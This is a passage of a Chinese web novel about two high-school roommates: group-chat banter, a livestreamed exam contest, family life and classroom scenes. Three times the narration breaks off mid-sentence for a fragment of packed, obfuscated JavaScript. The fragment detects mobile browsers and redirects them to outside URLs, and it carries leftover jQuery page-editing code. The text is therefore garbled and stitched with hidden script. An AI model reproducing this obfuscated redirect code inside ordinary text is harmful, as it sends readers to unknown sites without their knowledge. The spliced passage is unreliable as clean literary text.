[边煦]:你就不能,稍微等一下再收吗? 方笑贻心想:矫情啥呀,他什么时候收,100块也不也还是100块吗?又不会在发钱的那边变少。 但刚收了钱,还是不好摔碗骂娘,他就转移话题。 [四海大富翁]:班上建群了,你看下好友申请吧 边煦其实看见了。 刘丞丞刚刚也给他发了消息,但他没点开,班群里也就那些事,作业、装比、吹水、被人艾特……而他刚刚又挨过训,现在正在犯贱。 找他的,他都不想理。但不理他的,他又不平衡:凭什么不回? 然后好不容易回了,说的又是些他不关心的事。 边煦有点意兴阑珊,但什么也不干,就能听见他奶奶在楼下打电话。 电话是他妈打来的,叫他明早回趟檀溪,说下午带他去拜见高中课题组的一个老师。边煦真的,不需要她做这些,他能考上大学,也有自己想学的东西,没等她说完就挂了,然后电话就打到了楼下的子母机上。 她大概又在告状,边煦听见就闹心,宁愿去尬聊。 [边煦]:你进了吗 这也能叫一个问题吗? 不过勉强还在那100块的售后范围内,因为方笑贻还没退出去,顺手瞎回:[进了啊] 边煦回消息快得要命:[群里有什么事吗?] 要是没有那个[卷王之夜],方笑贻就该怼他了:你自己不会进去看吗? 但有就不一样了,群友已为他刷上了神格,方笑贻也得放尊重点,而且他还想在睡前把热闹看完。 [四海大富翁]:有啊,大家都在找你 边煦在框里打了个问号,但又没发,感觉他不会拿这种事开玩笑,就退出去,点了下[刘momo]。 [刘momo]:群截图.jpg [刘momo]:煦总别猫了,来活 边煦点开那个截图,看见了那条群公告,[六中的状元]也在同框,而这个状元是程慎。 让他去跟程慎比,边煦觉得没意思。程慎已经跟他比了3年了,边煦想起那种被狙击的感觉就膈应。 可他刚准备把手机丢开,刘丞丞忽然又发来一条。 [刘momo]:有人提名你室友了 [刘momo]:没想到哇,方老板也是个偏科战神 边煦的注意力这才又被勾住:方笑贻数学,居然挺好的吗?有多好? 呆了两秒,边他又往屏幕上敲了行字:[谁提的?截个图我看看] 他有群不进,在这儿发号司令,刘丞丞也不介意,因为偶尔的孤僻,在长久的慷慨面前,不值一提。 [刘momo]:骚等 [刘momo]:群截图.jpg 边煦点开那张截图。 …… [蜗牛]:提名@四海大富翁 [木子李]:谁呀 [新陈代谢]:@四海大富翁 方老板来救救我,赢了我真的会请你当集团董事长! 后面有滑跪的,有问他中考数学分数的,但截图里,他没出现。 边煦也有一点好奇,就又给他发消息。 [边煦]:你中考数学考了多少? 可方笑贻当时没回他,正在隔壁对话框里,被谭威死缠烂打。 当战报传到1班时,离5班也就几分钟,谭威看到那个鬼直播,眼睛都快气脱眶了。 [谭谭不交通]:啊啊啊.jpg [谭谭不交通]:为啥高一才开学就卷到高三了,卷王都去下地狱啊!!! [谭谭不交通]:你,去,给我把他鲨掉,用分数 方笑贻真是谢谢他了。 [四海大富翁]:我晚上才把集合预习完 [四海大富翁]:集合在哪章,你知道吗? 谭威当然知道,在开学第一章,他自己就是补课抢跑型选手。只是跑得没有这刘同学快,就破防了。 [谭谭不交通]:那就叫你室友去 [谭谭不交通]:他应该是我校最强战力了吧[苦笑] 新的考试还没出来,目前来看边煦还是的,方笑贻说是。 谭威就又开始了,问他边煦参不参加?不知道?去问啊、不参加就得劝他参加…… 方笑贻实在受不了他,退出来才看见边煦的问题。 时隔四分钟后,边煦的屏幕顶上才闪了一下。 [四海大富翁]:V我50,包君知 边煦登时一个锤子表情,把他锤飞了。 个玩意儿,除了钱,啥也聊不了。 * 王玉华已经睡下了,起来上个厕所。结果路过儿子房门口,听见他在里面笑,很短促的一声,像是骤然看到笑话了。 王玉华听到了也觉得好笑,但也没打扰他,轻手轻脚地进卫生间去了。 可实际上也不是笑话,就是一个表情包:一个粉色的卡通狐狸还是什么的,拿着个蓝杆的红锤子跳出来,一下把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297352|165051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蜜雪冰城门口的雪王玩偶锤飞了。 方笑贻也不知道这有什么好笑的,但是它是边煦发的。 某个人,天天在外面装酷,结果背地里用这么可爱的表情包。 巨额反差,有点娇啊。 不过等笑得差不多了,他还是给边煦回了一条:[开玩笑的,120] 边煦却又不见了,他把手机扔到沙发的另一头,上露台去抽带绳网球了。 期间他奶奶盛芝华,贴着张面膜,举着个冒气的水光仪上来,把他埋怨一顿。 “阳仔~!你知不知道几点啦?还在这里打球~一会儿你不要睡的辣。” 盛芝华今年61,是个满头白发的美丽优雅老大姐,说话也一股钟丽缇味,她就是从那边移民回来的。 边煦弓着腰,回头看见她穿着短袖短裤睡衣,就赶她:“睡的睡的,你下楼去吧,这里有蚊子。” 可盛芝华其实不是上来,跟他说睡觉或者蚊子的。 他又不听话,把他妈妈气死了,一声泪俱下就是一个小时。 盛芝华听牢骚电话,听得也屡屡想挂,但于静涵也一个,一个可怜的笨蛋女人。 所以盛芝华上来,想和下稀泥,叫边煦明天去见,自己陪他去,他妈妈不去行不行? 可看他在那场皮上弹来蹦去的,盛芝华又觉得:嗨,说了他又不高兴,那还是让他妈妈去不高兴算了。 于是她往脸上喷了一泵精华水,又说:“好吧好吧,你也别玩太晚了,熬夜可秃头了,你现在那些年轻的哥哥姐姐,诶唷嘛比我还秃,真是受不了。” 边煦:“……” * 出了边煦的对话框,方笑贻又去看了下群。 群里瞬间又多了快200条消息,他看不来,本来准备退了,谢恒忽然又发了一个D音链接。 [新陈代谢]:来了啊兄弟们,九中的王者开播了 方笑贻就点进去长见识,然后看见九中的王者是个女生,大眼睛、戴口罩,还很会对镜头挑眉眼。 而方笑贻一看直播间人数,居然有4000多,又点开她主页一看,才发现人家本来已经是个不大不小的博主了,粉丝还差1个上1万。 方笑贻就给她凑了个整,随即回到她直播间,看见屏幕上留言和礼物特效乱闪,心里就在想:王者干什么都是王者,好厉害的流量,这要是带货的…… 然后他就睡不着了,一个翻身趴在床上,上浏览器开始搜去年的高考卷子。 完了完了,燃起来了。 但十分钟后,灯和他又一起熄灭了。 不会做。 方笑贻有点睡不着了。 一中跟松香,确实是不一样的。 他在初中的时候,还觉得比起打工、比起挣钱,学习还是很轻松的,他随便学学,连辅导卷都不用做,运气好就能冲进校前五。 但是今晚让他见识到了,那原来,并不是因为他聪明,而是他原来的竞争对手,其实本来就菜。 而他不来这里,他就根本不知道这些,因为他原来的世界里,就只有那些。 好恐怖啊,这些卷王。 方笑贻心想:把他这种视金钱为信仰的人,都搞得有点发虚了。这些人,这儿超三年那儿超三年的,就是去食堂排队打饭,热乎的也都轮不上他了,更何况更好的东西? 方笑贻翻来覆去地想:他明天得早点起来了—— 而夜幕相连之下,他那个“好娇”的室友,这一晚上压根就没睡,在《金考卷》上挑题做,越做越精神抖擞。 21、第21章 “叼毛快点!快点跑!一会儿车都开走了。” 早上6点04分,方笑贻就被楼下的脚步和喊声吵醒了。 这都是些早起去抢日结的三和老哥,他们可以干一天玩三天,也可以凌晨5点就爬起来,辗转去打16、17个小时的工。 是一群,生存性很强的人。 除非累到脸抽筋,方笑贻醒了,就很难再睡了,他就习惯性地拿起手机,然后看见边煦凌晨4点4分,居然又回了他一个表情。 [边煦]:[那你很厉害哦.jpg] 是一只蓝猫,前爪上各抓一张卫生纸,立在地上两边挥。 方笑贻盯着它看了几秒。 边煦的表情包,总比他本人友善太多,萌软可爱,怎么也无法看出阴阳怪气的意味,方笑贻就只好接受了,边煦是真的在夸他。 厉害吗? 方笑贻撇垂眼帘,得意在脸上一闪而过:还可以吧,有时候。 随后他趁早进【强盛集团】,把昨晚的@回了。 [四海大富翁]:(新陈代谢:@四海……)不是不想,是真不会[笑哭] 发完他就起来,整理好床铺,出门洗漱去了。 屋里,他姐已经起来了,正在厨房里头刷牙。方笑贻探头在门外看她,油污的气味霎时直冲鼻腔。 这个厨房的窗户,比他寝室卫生间的还小,高度倒是正常,但只有乍宽的一条,所以哪怕换了个油烟机,气味也还是难闻。 但是因为他住在洗脸池对面的小书房里,她们起早,基本都会在这边洗漱。可其实也不用这样,他睡不着的时候,她们不洗他都会醒。不过他最近睡得还行,入睡挺快的。 他伸手拍了下方雪晴,示意她出去洗。 方雪晴立刻含着口水回头,右手拿着牙刷,冲他比划:我把你吵醒了啊? 方笑贻摇了下头,也给她比:睡够了,我要吃葱花软饼。 方雪晴又比:整,等着 吃完早饭,方雪晴就去店里了。 其实店平时都是她在看,昨天是因为还有点零工要收尾。走的时候,她还把想想也掳走了。 孩子去哪儿都行,但他要拉着方笑贻:“舅舅也去。” 方笑贻看他在地上那个扭七扭八的卖萌小样,就点头了。 方雪晴赶紧比划:你别惯着他了,跟蚂蟥一样,你就在家学习 有人惯是幸福的,方笑贻回道:我下午就出门了,也惯不了几分钟,走吧 方雪晴也无话可说,孩子没有爸爸,她总觉得他可怜,所以有人对他好,她根本也无法拒绝。 不过说是送,其实还是自己骑自己的车。 家里有两辆电瓶车,一辆大些一辆小的,想想就站在他的脚踏板上。到店之后,方笑贻又陪他码了会儿玩具,就跟方雪晴招呼说回去了。 可实际上,离开店里之后,他没有直接回家,又去了趟烂尾楼那边。按照计划,他今天本来也是要来的,因为老杨的住处在这里,他离开之前的。 而这边都是三和老哥在寄宿,如果有一阵子没人,门窗就会“搬家”,所以方笑贻隔半月就会来看看,老杨的门还在不在。 7点34分,他将另一辆电瓶车,停在了烂尾楼的早点铺子门口,然后上了边煦昨天上的地方,这里坡,最好走。 而作为一个废墟,它夜里被隐藏的面目,此刻已被揭开,只见密集而发白的水泥碎块上,幢幢破楼环环矗立,没门没窗、外墙缺残,活像一个废土世界。 但它却不是没有人的,不管夜里还是白天。 方笑贻走上去没两分钟,就碰到了一个在旁边蹲着吃油条的老哥。他穿长裤长袖的深蓝睡衣,看有人走近,立刻警惕地问道:“干嘛的?” 方笑贻知道他们是怕联防队或者辅警过来,驱赶他们,就笑了下说:“哥,我找朋友。” 而哥、老哥,是这里很本土的称呼,就像某种乡音。 睡衣老哥这才一努嘴,不理他了。 方笑贻又往前走到空窗洞口,起跳翻了进去。没有门,门在外头那些水泥碎块下面。 进了筒子,地上都是垃圾,外卖打包盒、食品包装袋,乱糟糟的,也有点臭。 方笑贻直奔楼顶,出了没有门的天台门框,右手边两米,就有一个一米来高的水泥楼梯,楼梯上门有个残绿色的铁门,门上有用红色油漆写的“616”。 那3个数字,写得像书上的一样标准。 这就是老杨在四海的住处,一个在8楼顶上、小小的机房,它门还在,就像一个堡垒。 方笑贻心里就踏实下来,去机房的侧面,给还活着的多肉,浇了点水。 水是雨水,接在墙角的油漆桶里,把它一挪开,背面的墙根上,就露出了两块被青苔半掩盖的字母划痕。 fxyby 它们写在两个也是划出来的小框里,笔迹不一样,是他和老杨的秘密。 方笑贻就拿水瓢,给它们上面的苔藓,也浇了点水。 野草的好处,就是不容易死。 所以他相信老杨还活着,在别的地方。 浇完水,方笑贻从一大蓬芦荟后面摸出了一片钥匙,打开铁门,把屋里的灰擦了下。 也没什么别的好收拾的,里头只有一张床、一个踮脚小方餐桌,以及两个塞满旧书的破书柜。而原先桌上玻璃下压着的照片和笔记本,方笑贻怕人偷,给他收回家了。 20分钟后,太阳彻底出来了。方笑贻也藏好钥匙,原路下去了。 走到4楼往下的时候,他听见下面有人说话,就刹住脚步,本想等人走了,自己再下去。 可谁知那个声音却说:“……艹尼玛的,要死都要喝酒是吧?这么牛笔?你怎……” 方笑贻左边眉毛霎时一跳:酒? 理智上,他真的抵触听到这些,但意识里,他却又已经反应过来了:楼下这五成以上,就是边煦想要他打听的消息。 但方笑贻不会追过去的,白给的东西,都是陷阱。 回家之后,方笑贻把翻过墙的衣服换下来搓了,又去b站看了会儿视频。等到9点半,手机上来了快递短信,他就去了趟天福超市,回来捣鼓半天,在楼梯的2楼半、客厅对着巷子的外墙上,各装了一个监控。 不贵,50多一个,可以手机远程。 装完就到了饭点,他吃了饭,又背上书包,去店里给方雪晴两人送饭,喂孩子吃完,又去给谭威买鸡脚和臭豆腐,陀螺一样旋到2点,才终于坐上了公交车。 然后,他才得出空和心思,来玩会儿手机。 【集团】里又刷了600多条消息,他也看不过来,就只看了下@他的。 有谢恒,说他心好痛、好无助。也有李晨阳,叫他大佬不要谦虚…… 但都时隔几小时了,方笑贻也就没回,只在最新的消息里,看见李晨阳在那里明捧暗讽边煦。 [木子李]:神就是不一样哦,十几个小时都不看手机,太6了 方笑贻心说:关你啥事 但也没准备回什么。 可边煦自有抄笔记的守护。 [刘momo]:不至于哦前校友 [刘momo]:这只是咱那a班的基操辣 [小e]:啥基操? [upc]:就是一天学完《数学培优选必2》鸭[苦涩] [可爱不多]:我破防了 [刘momo]:不许破,他们不卷,我们拿什么看热闹 [什么都磕]:有道理 [新陈代谢]:莫慌,晚自习课间,我会亲自去四组最后一排,拜见我的董事长 [厦天天]:笑死,你把我们方老板置于何地了? [新陈代谢]:莫慌,方老板当主席,官也很大的 官大得“方主席”在公交车上,把屏窥了个哭笑不得。 他其实不爱看班级群消息的,太水了,但是谢恒和刘丞丞说话都挺好玩儿,而这里又还是有点新鲜东西。 比如这个《数学培优选必2》,是什么东西? 方笑贻就去浏览器上搜,没搜出这个关键词来,但有[选必],说是重点学校的一种选修课,还有什么《金融理财师》、《中式面点》、《积极心理学》等等可选。 所以,方笑贻靠在车玻璃上想:这就是,别人的初中吗?挺……大开眼界的。 但没有这些,谭威、杨妙和他,也到这里来了。所以,他们也是有优势的。 可优势?他有什么优势?方笑贻真的每天都在想。老杨让他搞清楚这些,说越清楚,就会越清楚怎么扬长避短。 而目前,他的优势,在新地方、新学期的新班上,重新变成了一团模糊。但给他一段时间,他会弄清楚的。 等搜完新概念,再回群里,话题已经从封官,变成了扒人。 被扒的人是六中那个“程状元”,因为他是下一个直播的,而时间就在今晚自习以后。可扒的是他,边煦又忽然被加戏了。 [upc]:程状元是六中的神,毋庸置疑哈 [upc]:但我只pick我们煦子 [刘momo]:笑死,你pick,有屁用 [刘momo]:你的煦子他不pick [新陈代谢]:事关我校荣辱,他必须pick! [刘momo]:班长哇,你还是不懂[可怜] [新陈代谢]:没事的,我可以学 然后他们就叭叭叭,把边煦和这个“程状元”的初中梁子,抖了个一干二净。 想当年,他们煦子一天刷完了《选必2》,花了11个小时。程状元马上就来卷了,10个半小时吊打他。回头煦子去搞noip,他就去搞noi……真是一对命中注定、势均力敌的对手啊。 谢恒马上就激动了:[莴苣!那咱们集团,不是富强在即?] 结果刘丞丞来了句:[噗,你只会破产] [新陈代谢]:为啥? [刘momo]:没有为啥 方笑贻登时觉得,边煦那个锤子表情,现在应该在谢恒的发送栏里。 都不比,铺垫什么? 但,边煦也得通宵学习,原来他不是潇洒的天才,他是魔鬼卷王。 方笑贻欣慰之余,又想吐血。 22.第22章 人生就是一场巨大的需求错乱,上课的时候想摸鱼,睡觉的时候想做题。 边煦说跟程慎比没意思,但这跟题没关系,学生就该多做题,就像猪应该多吃饲料。 不过他不做整套,只挑原来预习里的难点做,挑三拣四地搞到2点,他起来上了个厕所,又回去写了会儿,直到感觉饿了,才下楼摸了点东西吃。 然后他看了下手机,4点多了,又看见120分,给方笑贻回了个表情。 满分就是牛,夸。 吃完,边煦又爬上楼,玩了会儿《维多利亚》消食,天蒙蒙亮时才去睡了,然后一觉睡到下午4点一刻,被阿姨邓嬢喊起来,除了刷牙洗脸,什么也来不及,又被司机李叔送出了门。 路上,盛芝华跟他同行了半段。 她去参加沙龙,原本在旁边臭美,可那小镜子左转右转,转着转着就转到了边煦头上。 盛芝华当时就不满意了,伸手过去把他帽子摘了,扒拉了下说:“你这头发,太长太长了。” 是,但边煦习惯的那个理发老哥,出国进修加旅游去了,别人他不爱给剪,就把脸往车窗那边一仰,抗拒道:“不长,不要弄我。” “还不长,拖到地上才算长是吧?你小子我真的,”盛芝华照着他脑袋瓜就是一崩,“美了一辈子,到头来养个邋遢鬼,连头发都修不利索!真的气死人,回头哪天你女神看你一眼,算你奶奶我输。” 边煦继续旁边躲了躲,表情十分无所谓:“没有女神,不会有那种东西。” 心中无女人,AI才是神。 盛芝华看他那个信誓旦旦的样子,不由得怜爱地笑出了声。 这种生瓜蛋子,窍都没开,哪里晓得激素的厉害?不过她也无法想象,边煦会为哪种女孩心动。别说女孩了,他从小都不跟人玩,天天拖着个机器狗,后来大了,才跟唐悦他们来往,但也没什么女孩子。 盛芝华愁了会儿,又关心他:“你在学校是不是睡不好啊?作息怎么这么乱了。” 边煦说实话,在学校睡得不好也不坏,但他居然从没想过,要出去住。 方笑贻挺好玩的,一天天的,劲劲儿地怼他,边煦有种“生于忧患”的提神感。 * 5点半,他提着打包盒进了300。 一进门,屋里就有股油焦辣臭的味儿,边煦鼻子微微一抽,刚要问方笑贻,他在寝室吃什么了?又见他在看女主播,写作业。 不过那主播有点眼熟,像是艾寻梦,以前计算机青训营里的一个抽象女。 边煦就进来凑了凑:“这是什么?” 方笑贻正背对着他,在看昨天九中卷王的直播回放,闻言扭了下头,见他已经到了桌边,戴着个深灰的牛仔鸭舌帽,正弯腰往自己手机上看。 “卷王直播。”方笑贻看着他说。 那卷子才写到选择题,边煦把手里提的打包盒搁桌上:“才开始吗?” 看来他压根不知道这场直播,方笑贻说:“不是,这是回放。” 边煦饿了,但又没椅子,就跑题了:“哦,你起来下,我吃个饭,吃完我去买把椅子,行吗?” 他都出钱了,那方笑贻也不介意出点力,话也没说就起来了。 边煦于是把挎包撂铺上,又进卫生间洗了个手,出来见他坐下下铺,还在那手机上划拉,又把话题续上了:“回放应该有成绩了,她考了多少?” 方笑贻于是突然发现,他还是有点喜欢问别人成绩的,有种暗戳戳在比的感觉,心里就有点好笑,第一终究也是凡人。他说:“也做了100分钟,考了112分。” 边煦心想:那完了。 在他的记忆里,这女的输不起,一输就要去搞抽象,找男的表白,把人吓死,也不知道谁要遭殃了。 但是跟他没关系,边煦悠悠地拆了打包盒。 盒子有6个,菜饭点心水果,是喂猪的食量,他吃不完,但也不是很铺张浪费的性格,就又回头问方笑贻:“你吃不吃?” 方笑贻头埋在手机上,被他问得一愣,连忙抬起来,看了他两秒,又摇了下头。 他俩还不够熟,热情一而衰、二就没了,边煦也只好点了下头,回头吃自己的。 方笑贻在后面瞅他的背。 昨天过后,边煦对他态度变好了,他说实话,有点不习惯。但也是实话,边煦人其实还可以,除了在酒鬼的事上脑残。方笑贻倒也不是说,要跟他做朋友,但寝室里总是静悄悄的,那个氛围实际也不自在。 想了会儿,方笑贻主动跟他搭了句话:“谢恒刚刚来找过你。” 边煦刚在往盒盖子挑花胶,闻言像个神棍一样说:“他是不是想让我去当卷王?” “你知道啊?”方笑贻还以为他真的修仙去了,“你在哪里窥屏了?” 边煦也坦荡:“在刘丞丞的截图里。” 方笑贻受谢恒所托,随便劝了起来:“知道了就行动吧,你为班级争光的时刻到了。” 边煦捏着筷子,回头看他:“你怎么不去?” 方笑贻也看着他:“那我也得会啊。” 边煦问他:“你不会吗?” 那语气,好像他本该会似的,方笑贻谢谢他的赏识:“不会。” 边煦本想问为什么,忽然又想起他在店里带孩子的模样,又顿了下:“你没预习吗?” 方笑贻哪晓得,外面的世界狂卷如斯,把头摆烂地一摇:“没有。” 边煦登时也不知道该说什么好了。 像他们,学校上课快、有竞赛,私下补课的又多,同学基本都是预习为主。 但四海是个“落后”的地方,边煦跑了两趟,已经隐隐有点感觉了。所以,方笑贻的世界跟他,可能区别也很大。这时,边煦还不了解那些,但他本能地收敛了自己的优越。 他说:“不预习也能考满分,牛啊。” 方笑贻登时被他整笑了:“……兄弟,满分是复习了很多遍之后考的。” “那你抓紧预习再复习,”边煦说着,回头吃饭去了,“加油。” 方笑贻现在不想加油,寝室里也没他的板凳加, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15307906|165051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就还在那儿看手机,又说:“那你也抓紧,去为班级争光。” 边煦不想去,就没吭声。方笑贻也就不说了,他也不是很爱劝人。 寝室里安静了会儿,方笑贻没再看那个直播了,去枕头旁边找出耳机连上,进b站看数学视频去了。 卷王看多了,人就焦虑,就会忽然特别想努力。 边煦却吃着吃着,忽然扭头喊了他一声:“方笑贻。” 那一声挺轻的,也温和,方笑贻下意识应了声:“嗯?” 吭完声才抬起眼帘,看见边煦侧在椅子上看他。 边煦说:“你昨天回去之后,没人发现你吧?” 方笑贻说没有,边煦说那就好。可他一好,方笑贻又想起件事来。 他下午去坐车的路上,看到宋大肚子在路边晃,右手上有块黄橙橙的纱布,碘酒没少涂的样子,可见还有点深度。 方笑贻不知道那是不是边煦弹的,因为一般弹弓弹到手臂,总不至于还要打纱布。但边煦在四海惹了麻烦,方笑贻当时就很想说:你以后过去,别到我店里去。 但他心里又很明白,这一说,边煦立马得黑脸。 方笑贻干脆把眼睛一闭,心如明镜地逃避:管他的,到了周五再说吧—— 边煦吃饭不快,磨磨蹭蹭的,也不玩手机。但他有个“闹钟”立在旁边,小方屏上的卡通动画,也是一张脸在吃饭的样子。 方笑贻就欣赏了几秒,这个陪少爷吃饭的小吗喽。 然后收起作业,到教室去了,反正干坐着也不是个事,而且也没个正经坐的地方。 他走的时候,就走了,没跟自己打招呼。 可他前脚一出门,边煦后脚就听见了,他不知道跟谁“嗨”了一声。 那在寝室里怎么不“嗨”呢?是不是有点内倨外恭了。 * 方笑贻进教室的时候,人已经来得差不多了。 经过一个周的熟悉,教室里比上周要吵一些,尤其是李晨阳那块儿,不知道在兴奋什么。但埋头学习的也不少,杨妙就是其中之一。 只是她状似在看英语书,实际上一直在书角上画乌龟,画了大概有一个排。 方笑贻以前也画,他收回视线,拉开椅子就要坐下。 杨妙却立刻就扭头看了过来。 那动作有点猛,表情也惊吓,好像自己是鬼一样。 方笑贻有点懵,但也还是转开视线,坐下了。 他好像没干什么吧?所以不关他的事。 但实际上,是关的。 边煦提着盒点心,一进后门,就看见方笑贻那个短发的女同桌,顶着一张失悔纠结的表情,欲言又止地在对他说:“……你……是不是生气了啊?” 就是在泉师,班上其实也不缺谈恋爱的。 但边煦不太关注这些,他觉得无聊,无论是那些在爱的,还是起哄的。可到了方笑贻这里,他脚步莫名其妙就慢了,耳朵也悄悄竖了起来。 不预习,也不去卖东西,却在这儿惹女同桌生气,搞什么呢? 23.第23章 “我昨天晚上在群里艾特你,你……是不是生气了啊?” 杨妙这忽如其来的一句,梅开二度,再次把方笑贻整懵了。他瞥了下她:“没有啊。” “哦。”杨妙看着他,心里疑问一箩筐。 只是方笑贻等了下,她又还是期期艾艾的,就是挤不出话来。 这样磨磨唧唧的,挺消耗别人耐心的,而对一般人,方笑贻很缺这个。但她是个过于内向的“老乡”,也算极端出了一点例外。 方笑贻不得不挤出一点耐心,说:“真没有,你为什么会这么想啊?” 杨妙受到催促,又看他若无其事的,才把心一横说:“因为、我昨天提名你了嘛,你又不想参加。然后……” 然后,她才忽然发现,自己那些忐忑和纠结,临到嘴边,竟然会难以启齿。 昨晚,她犯了一个……不,两个错误。 第一,未经允许,擅自提名了方笑贻。 第二,给他发了道歉的微信,又心虚羞耻的,马上撤回了。 只是这样,对面依旧会有提示。但他早上在群里出现了,对她的撤回,却没有任何反应。 杨妙就忍不住想了很多:这是不是故意的?对她自作主张的一种无视。 可故意不故意,她又想要别人怎么办呢?回复她?然后反过来问她,怎么了吗? 这太可笑了,她是什么世界的中心吗? 杨妙心里一窘,脑中忽然就变空白了。但好在余光里,一道人影渐行渐近,是本能也是逃避,杨妙立刻转开视线,朝那人影看了一眼。 方笑贻看她,忽然瞅向了自己后面,好像是有人,登时也跟着回了个头。然后他就看见,边煦正在自己背后。 他啥时候来的?还离得这么近。 方笑贻登时狐疑地瞥了他一眼。 边煦偷听了半天,心里只有一个结论:他俩说话真急人,看啊等的,就是不说。 然后方笑贻看他,他也不心虚,从站着的这个角度,跟人大眼瞪小眼。 方笑贻这还说着话呢,赶紧赶他:“干嘛,偷听啊?” 边煦面不改色地说:“你的话有什么偷听的价值啊。” 说着,他又往方笑贻跟前一欠,声东击西道:“吃吧你,吃不完的给刘丞丞。” 耳朵后面霎时“嘤嘤”的响,像是塑料袋提动的声音。 方笑贻从这边看不见,换边之前,还看了他一眼:“啥啊?” 他一转头,边煦就走了,留下一句:“花生咸酥,吃。” 方笑贻找完东西,在他桌上,是个套着塑料袋的打包盒,再回头,人就跑了。而这投喂快如闪电、不容拒绝,方笑贻只好扒了下塑料袋,往里瞅了一眼。 花生咸酥是个什么?只见里头里头黄黄的,好像还有点黑芝麻…… 方笑贻也没太看清,旁边杨妙就来了一句:“你跟边煦,关系原来挺好啊。” 班会那天他俩抢位子,后面一星期,在教室里又谁也不理谁,杨妙还以为他俩关系比普通新同学还差点。结果边煦生人勿近的,居然还会给他送吃的。 方笑贻闻言却在想:好吗?他俩掐的倒是挺好的。 不过今天这个下午,他看着这盒吃的说:“还行吧。” 说完,他又把话题扯了回去。但杨妙说,然后就没什么了,他一直没回群消息,她就以为,是自己的推荐,让他困扰了。 可这有什么好困扰的?他不想参加,他就拒绝。 方笑贻当时没理解,但也没多问,点着头把它揭过去了。 与此同时,边煦回到位置上了,而刘丞丞在谴责他。 方笑贻隔了一个组,都听见刘丞丞在那边搞rap:“煦子啊你个浓眉大眼的娃,这才上了几天高中鸭,你就学会吃里扒外辣!” 不过那腔调夹里夹气的,一听就是在闹着玩。 方笑贻后倾着往那边一看,边煦正在瞪刘丞丞,他就回桌上,把那盒子从袋里拿了出来。 里头装的是一块块的点心,淡黄绿色、小麻将块,有点像加了黑芝麻的绿豆糕,挨个码得很紧。 不过也不用上手,因为袋子里头有一大把分装的塑料小叉。 方笑贻就给杨妙叉了一块,自己也叉出一块搁在纸上,然后就盖好盖子,把袋子提去给……刘丞丞了。 他本来是想给边煦的,但刘丞丞伸手就是一个截胡,截完还往袋子里一瞅,哈哈哈地说:“耶方老板?你咋没吃啊?” 方笑贻右手还在半空中,他放下说:“吃了的。” 边煦的左手也在,在他指尖前面一寸的位置,落空后也放下了,落到刘丞丞提着的袋子口边缘,压着往里一看,见里头只少了两块,便也插了句话:“不好吃吗?” 方笑贻还没吃,但这不妨碍他懂礼貌:“好吃啊。” “好吃比猫舔的还不如,”边煦说,“就是不好吃。” “好吃!”方笑贻加上了一点强调的语气,“你别挑事。” 边煦这才一努嘴,不说话了。 方笑贻这次走,倒是跟他打了个招呼,边煦听见他说:“回了。” 他回座位上后,刘丞丞几个抢食抢飞了,一副饲料入槽猪拱盆的架势。 方笑贻也把那块花生酥吃了,他是个饭嘴巴,三顿吃饱了,基本不吃零食。但是这个蛮香的,有种新鲜花生那种油脂味。 不等他吃完,谢恒又跑到那个角落去了,又是打揖又是搭肩的,不过方笑贻没空看热闹了。 互联网的传播效率实在可怕,上课之前,后门口居然来了个别班的男同学。 他扒在那里,问一组最后面的两个人说:“喂同学,你们班是不是有卖充电器的,是哪个啊?” 方笑贻自己听见了,头立刻转到门外去了:“同学,是我。” 两分钟后,他加完这个同学的联系微信,又切了下小号,看了下家里有没有发消息。 家里没发,但他依旧也没发现,杨妙的头像旁边,有一条:[“蜗牛”已撤回一条消息] 他一天到晚,乱七八糟的人和消息都多,注意不到一个沉默女同学无声的纠结。 * 晚上赶巧,是数学自习。 老高喜气洋洋地进来,揣着一沓卷子。鬼都看得出那是摸底卷,但他就是不发,双手撑在讲台上,唏嘘感慨地讲那个“卷王之夜”。 “你们现在的孩子,是会玩儿哦,”他双手撑着讲台笑道,“玩儿的也大,不过年轻人嘛,就该这样。所以怎么的,咱班有应战的没有?” 底下立刻开始起哄。 “有!” “没有。” “本来是有的,但班长试着做了下题,咱又没了。” “哈哈哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15311079|165051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哈班长麻了我也麻了。” 高蓬打住他们,目光从四组最后那一撮上瞥过:“除了班长,没别人了吗?” 谢恒忧愁地大叹一口气:“嗨~唉!” 那八成是叹给边煦听的,但方笑贻一打眼,他埋头不知道在写什么。 方笑贻心里登时就想:卷王又在偷偷卷人了。 那,他也卷。 先拼个时间,其他的再说。 讲台上,老高没拉扯太久,就叫课代表发了卷子。 方笑贻暑假去拧螺丝了,考的不怎么地。而杨妙数学和物理都薄弱,考得比他还烂。至于边煦,他一下课,又腿长脚快地溜不见了。 